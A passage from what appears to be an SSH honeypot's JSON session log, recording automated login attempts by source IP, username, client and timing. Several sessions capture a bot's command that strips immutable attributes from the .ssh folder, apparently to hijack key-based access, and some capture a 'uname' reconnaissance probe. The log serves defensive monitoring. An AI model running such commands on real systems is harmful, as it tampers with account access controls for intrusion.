  "exec_command": null,
  "started_at": "2026-08-27T12:45:12.575024+00:00",
  "ended_at": "2026-08-27T12:45:14.389049+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9b76ebcd-253a-45bd-a4c2-9b678b0dabcb",
  "name": "oaken-hushed-muntjac",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 42696,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:45:09.257541+00:00",
  "ended_at": "2026-08-27T12:45:10.116714+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b5e6c07d-286e-458a-a0fc-17af7b21e305",
  "name": "mottled-jaunty-sparrow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59848,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:45:01.174446+00:00",
  "ended_at": "2026-08-27T12:45:02.204623+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cfec09c7-b246-434d-9716-f24856d32047",
  "name": "drifting-cheerful-chinchilla",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59834,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:44:59.575751+00:00",
  "ended_at": "2026-08-27T12:45:00.283935+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d744511d-1abc-472a-bd84-11855955c36a",
  "name": "fickle-reedy-lemur",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 43668,
  "username": "xie",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 300,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:44:00.286548+00:00",
  "ended_at": "2026-08-27T12:44:01.812020+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2248
 },
 {
  "id": "5db3e273-7b1f-4e91-a024-ef958d0a2f0e",
  "name": "alpine-opal-dotterel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 44656,
  "username": "gemini",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 197,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T12:43:51.439786+00:00",
  "ended_at": "2026-08-27T12:43:51.540081+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "2b4decfd-7187-4a21-81f0-e9b3932d8cf6",
  "name": "prairie-ancient-loris",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 57150,
  "username": "lighthouse",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 328,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:43:47.799358+00:00",
  "ended_at": "2026-08-27T12:43:49.271755+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2255
 },
 {
  "id": "6093304b-6641-43c9-9219-e2cab08150d2",
  "name": "autumn-boreal-harrier",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 43686,
  "username": "xie",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:43:44.853109+00:00",
  "ended_at": "2026-08-27T12:43:45.892298+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3a3dc6f7-436f-44be-8828-4e40ae7876d9",
  "name": "mindful-gallant-kudu",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 43676,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:43:42.663090+00:00",
  "ended_at": "2026-08-27T12:43:44.264309+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "76fed520-d965-46b3-997c-ebb955530a81",
  "name": "gritty-painted-lorikeet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "113.191.145.50",
  "src_port": 60242,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:43:39.859636+00:00",
  "ended_at": "2026-08-27T12:43:45.193902+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4a06d353-e5fa-439b-af03-44d6519588a4",
  "name": "lanky-tender-grebe",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 51230,
  "username": "lighthouse",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:43:31.516689+00:00",
  "ended_at": "2026-08-27T12:43:32.659640+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "15fe404b-3a67-4ae1-8c0b-541ce99fc67a",
  "name": "solemn-granite-salmon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 51226,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:43:29.869308+00:00",
  "ended_at": "2026-08-27T12:43:30.815127+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4d8f88f6-2dfe-4c51-b468-0240496d48b3",
  "name": "glacial-jolly-loris",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59810,
  "username": "user1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 449,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:42:37.911180+00:00",
  "ended_at": "2026-08-27T12:42:39.439031+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2254
 },
 {
  "id": "c107fcb5-0ca5-47ba-8c90-ffbc75cedf5c",
  "name": "crystal-jagged-dormouse",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 47340,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:42:27.151888+00:00",
  "ended_at": "2026-08-27T12:42:27.934055+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "83a15aba-fae7-4f01-ad0e-6b02ab3b0275",
  "name": "golden-tangled-hyrax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 47332,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:42:24.083698+00:00",
  "ended_at": "2026-08-27T12:42:25.649003+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0d988d4d-6b4b-4fd7-8f21-6afa1f7d5580",
  "name": "genial-oaken-stonechat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59820,
  "username": "user1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:42:20.925356+00:00",
  "ended_at": "2026-08-27T12:42:21.696181+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a9c6065a-7d90-421a-99fa-0bbe9f749ef8",
  "name": "quartz-amiable-cougar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 47322,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:42:20.515413+00:00",
  "ended_at": "2026-08-27T12:42:21.434017+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "f4860720-8539-4369-98ff-eb82b8ab6f9d",
  "name": "gritty-murky-finch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 63534,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:42:19.834044+00:00",
  "ended_at": "2026-08-27T12:42:27.989496+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e5395ac7-0e12-44bb-8c91-9c0cd150699a",
  "name": "amber-jagged-caribou",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59818,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:42:18.177053+00:00",
  "ended_at": "2026-08-27T12:42:20.042059+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "620f9d87-abf7-409c-8e49-4ac4e633c6cd",
  "name": "jaunty-wistful-albatross",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 47640,
  "username": "admin1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 289,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:41:57.495597+00:00",
  "ended_at": "2026-08-27T12:41:59.208027+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2259
 },
 {
  "id": "c574abd1-bd65-4620-886b-60c576ef5dea",
  "name": "indigo-distant-bullfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 41254,
  "username": "uno50",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 328,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:41:52.190247+00:00",
  "ended_at": "2026-08-27T12:41:54.311017+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2248
 },
 {
  "id": "ed08a284-20c7-4472-897a-7dd2b295f3aa",
  "name": "boreal-blithe-loris",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 47658,
  "username": "admin1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:41:42.760371+00:00",
  "ended_at": "2026-08-27T12:41:44.081358+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3f6eb3d5-2d6c-444f-84c8-6129feec7ab6",
  "name": "frosty-golden-sloth",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 47652,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:41:41.483474+00:00",
  "ended_at": "2026-08-27T12:41:42.163313+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3272b6bc-0705-4e42-888d-64ba584273d2",
  "name": "shifting-cunning-dormouse",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 41262,
  "username": "uno50",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:41:36.483426+00:00",
  "ended_at": "2026-08-27T12:41:37.382280+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "73542e21-e36a-4256-b3f3-ab42eeec345a",
  "name": "tender-rambling-bonobo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 41256,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:41:34.741630+00:00",
  "ended_at": "2026-08-27T12:41:35.830248+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6458a2a9-bc78-4089-b95b-ba1107cfbc08",
  "name": "northern-mellow-caracal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 51396,
  "username": "codex",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 199,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T12:40:48.431805+00:00",
  "ended_at": "2026-08-27T12:40:48.532310+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "355e851e-b9d3-416e-b759-5ab909a942b8",
  "name": "gilded-vernal-flamingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59782,
  "username": "vpnuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 447,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:40:00.259470+00:00",
  "ended_at": "2026-08-27T12:40:01.293761+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2256
 },
 {
  "id": "0df86da6-776d-413b-9b44-d14ed647b27c",
  "name": "woven-solemn-agouti",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 46220,
  "username": "harsh",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 749,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:39:58.780008+00:00",
  "ended_at": "2026-08-27T12:39:59.943418+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2256
 },
 {
  "id": "39da07dd-fb38-4fce-a527-19f9da5cd42c",
  "name": "snowy-lawful-armadillo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 46688,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 297,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:39:56.552160+00:00",
  "ended_at": "2026-08-27T12:39:58.483014+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "561a1baf-10b5-495f-9d07-ff7f1129e21d",
  "name": "seaward-twilight-alpaca",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 47306,
  "username": "xie",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 327,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:39:55.682275+00:00",
  "ended_at": "2026-08-27T12:39:56.861549+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2250
 },
 {
  "id": "c56126fe-d554-46c9-b23f-c60c629d2098",
  "name": "languid-early-gadwall",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 46710,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:39:42.142915+00:00",
  "ended_at": "2026-08-27T12:39:42.751879+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "aeab367b-402a-4636-a1f6-096587b5935f",
  "name": "fierce-blunt-saola",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59808,
  "username": "vpnuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:39:42.013615+00:00",
  "ended_at": "2026-08-27T12:39:43.903190+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "84988aaa-43dd-40b0-8ff0-ac5df2f0d6e0",
  "name": "marine-coastal-squirrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 46694,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:39:40.517419+00:00",
  "ended_at": "2026-08-27T12:39:41.545907+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "679e29a3-165e-41e6-95ad-3a99708cd9f1",
  "name": "mindful-wry-gecko",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 60160,
  "username": "xie",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:39:39.812494+00:00",
  "ended_at": "2026-08-27T12:39:41.463108+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4d658e64-fe44-44cd-a889-f9a54bbf635a",
  "name": "bashful-lawful-jaguar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59796,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:39:39.679207+00:00",
  "ended_at": "2026-08-27T12:39:41.095896+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "10bc4503-9042-4b44-b94e-ef782982b4ae",
  "name": "calm-arctic-hedgehog",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 47308,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:39:37.602602+00:00",
  "ended_at": "2026-08-27T12:39:39.161528+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e6050a61-59df-437b-834d-e5a231189575",
  "name": "subtle-dusky-eider",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 46228,
  "username": "harsh",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:39:35.997858+00:00",
  "ended_at": "2026-08-27T12:39:37.466747+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "92e66f16-da06-40cb-9f6a-d92fe964ba90",
  "name": "creaky-rustic-lapwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 46226,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:39:32.023865+00:00",
  "ended_at": "2026-08-27T12:39:33.772715+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6dbcae5e-128a-47be-b4ba-4b55025af095",
  "name": "fearless-early-pheasant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 54184,
  "username": "inventory",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 294,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:37:52.731139+00:00",
  "ended_at": "2026-08-27T12:37:54.330812+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2260
 },
 {
  "id": "3e59a2b6-5ca3-4b3c-a371-56c48ad903d9",
  "name": "crisp-honest-quoll",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 59326,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 328,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:37:49.832818+00:00",
  "ended_at": "2026-08-27T12:37:51.792145+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "5121a5b8-25db-4538-b9ea-2f8fb63a5c2f",
  "name": "freckled-somber-teal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 33414,
  "username": "claude",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 205,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T12:37:48.201764+00:00",
  "ended_at": "2026-08-27T12:37:48.304192+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "71728729-1c5e-4d71-86b5-fcf06420e520",
  "name": "umber-chilly-raven",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 36242,
  "username": "inventory",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:37:38.430151+00:00",
  "ended_at": "2026-08-27T12:37:39.294141+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3797c883-fd69-4e8e-a605-753e4f04fd07",
  "name": "rapid-hushed-polecat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 36228,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:37:36.087607+00:00",
  "ended_at": "2026-08-27T12:37:37.844062+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "65834ad2-99ae-492e-8b0f-b3fd2076385d",
  "name": "forlorn-spirited-turnstone",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 59340,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:37:34.612656+00:00",
  "ended_at": "2026-08-27T12:37:35.396316+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "30cf0601-5232-4355-9365-a2a1b01f49d7",
  "name": "buoyant-sincere-stonechat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 59330,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:37:33.208796+00:00",
  "ended_at": "2026-08-27T12:37:33.960029+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cbc3e03a-99ce-43c4-b6d9-9adcf2da4159",
  "name": "scarlet-hardy-tanager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59760,
  "username": "sendmail",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 442,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:37:20.204796+00:00",
  "ended_at": "2026-08-27T12:37:21.458484+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2257
 },
 {
  "id": "a0eac464-ca9b-423b-a5ae-5c03da6d1d3f",
  "name": "sleepy-gloomy-civet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59780,
  "username": "sendmail",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:37:02.320236+00:00",
  "ended_at": "2026-08-27T12:37:03.297181+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "276b53a3-5acd-4bfb-8d1a-6b5ba6050bb3",
  "name": "restless-umber-raven",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59764,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:37:00.489779+00:00",
  "ended_at": "2026-08-27T12:37:01.412308+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "467028cb-c29a-47a2-afec-d16a157b2777",
  "name": "honest-frank-galago",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 55354,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:36:56.792472+00:00",
  "ended_at": "2026-08-27T12:36:58.539322+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3d86b2d0-d6a5-4d6c-af6a-5baf78e630a9",
  "name": "watchful-emerald-dotterel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 55346,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:36:52.010293+00:00",
  "ended_at": "2026-08-27T12:36:54.033463+00:00",
